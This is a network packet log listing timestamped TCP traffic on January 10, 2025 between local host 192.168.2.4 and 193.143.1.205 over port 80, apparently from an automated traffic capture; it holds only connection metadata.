Jan 10, 2025 14:45:14.092526913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.092554092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.094403028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.094429970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.094441891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.094492912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.094496012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.094507933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.094518900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.094536066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.094563961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.094705105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.094715118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.094726086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.094749928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.094753981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.094799995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.098378897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.109988928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.110013962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.110023975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.110068083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.110078096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.110088110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.110097885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.110115051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.110165119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.110335112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.110344887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.110354900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.110379934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.110393047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.110404015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.110404968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.110445976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.145807028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.145821095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.145838022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.145848989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.145860910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.145890951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.145951033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.146373034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.146383047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.146393061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.146404028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.146423101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.146446943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.172972918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.181324959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.182122946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182138920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182151079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182202101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182204008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.182213068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182224989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182236910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182265997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.182291985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.182300091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182310104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182320118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182332993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182343960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182354927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182357073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.182365894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182432890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.182524920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182534933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182545900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182558060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.182560921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.182583094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.209558010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.214412928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218099117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218115091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218135118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218185902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218199015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218210936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218213081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218220949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218252897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218332052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218343019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218353987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218372107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218390942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218395948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218400955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218435049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218456030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218466997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218509912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218534946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218545914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218566895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218586922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218590975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218600988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218630075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218633890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218672991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218692064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218703985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218750000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218750954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218760967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218771935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218791008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218857050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218867064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218878031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.218898058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.218921900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.219016075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219036102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219046116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219079018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.219134092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219144106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219155073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219166040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219172955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.219216108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219227076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219235897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.219238043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219248056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219257116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.219285011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.219408989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219419956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219430923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219440937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219454050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219456911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.219464064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219475985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219491005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.219516039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.219677925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219693899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219706059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219716072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219727993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219732046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.219758034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.219861031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219871044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219881058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219892979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219902992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219904900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.219914913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219926119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.219937086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.219968081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220021009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220031023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220042944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220051050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220069885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220094919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220199108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220208883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220218897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220230103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220240116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220242977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220251083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220262051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220273018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220273018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220284939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220294952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220303059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220305920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220316887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220335007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220362902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220475912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220487118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220498085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220535994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220545053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220556021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220591068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220643997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220654964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220664978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220674992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220679998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220685959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220695972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220712900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220746040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220875978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220886946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220896006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220906973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220916986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220918894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220930099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220940113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220944881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220952034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.220971107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.220993042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.232469082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.236114025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.238208055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.238248110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.238260031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.238270998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.238302946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.238362074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.238378048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.238388062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.238426924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.238440990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.238472939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.274425983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274451971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274462938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274473906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274494886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274506092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274511099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.274518967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274528980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274539948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274549961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274555922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.274563074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274601936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274612904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.274612904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274620056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274669886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.274696112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274714947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274727106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274739027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274764061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.274800062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.274836063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274847031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274857998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274868011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274879932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274883986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.274892092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.274931908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.310643911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.310691118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.310750961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.310803890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.310862064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.310864925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.310895920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.310904026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.310944080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.310945034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.310993910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311026096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311045885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.311074972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311106920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311122894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.311153889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311186075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311198950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.311234951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311266899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311283112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.311300993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311353922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.311359882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311412096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311444998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311455011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.311477900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311510086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311523914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.311558962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311589956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311599016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.311621904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311664104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.311671019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311703920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311736107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311747074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.311770916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311819077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311827898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.311851978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311882973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311893940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.311914921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311947107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.311960936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.311979055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312021017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312028885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312064886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312096119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312110901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312144995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312175989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312186956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312207937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312238932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312256098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312287092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312324047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312352896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312355995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312391043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312410116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312422991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312454939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312464952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312488079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312530041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312536955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312568903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312613010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312618017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312649965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312681913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312695026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312714100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312747955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312768936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312779903 CET	80	49730	193.143.1.205	192.168.2.4
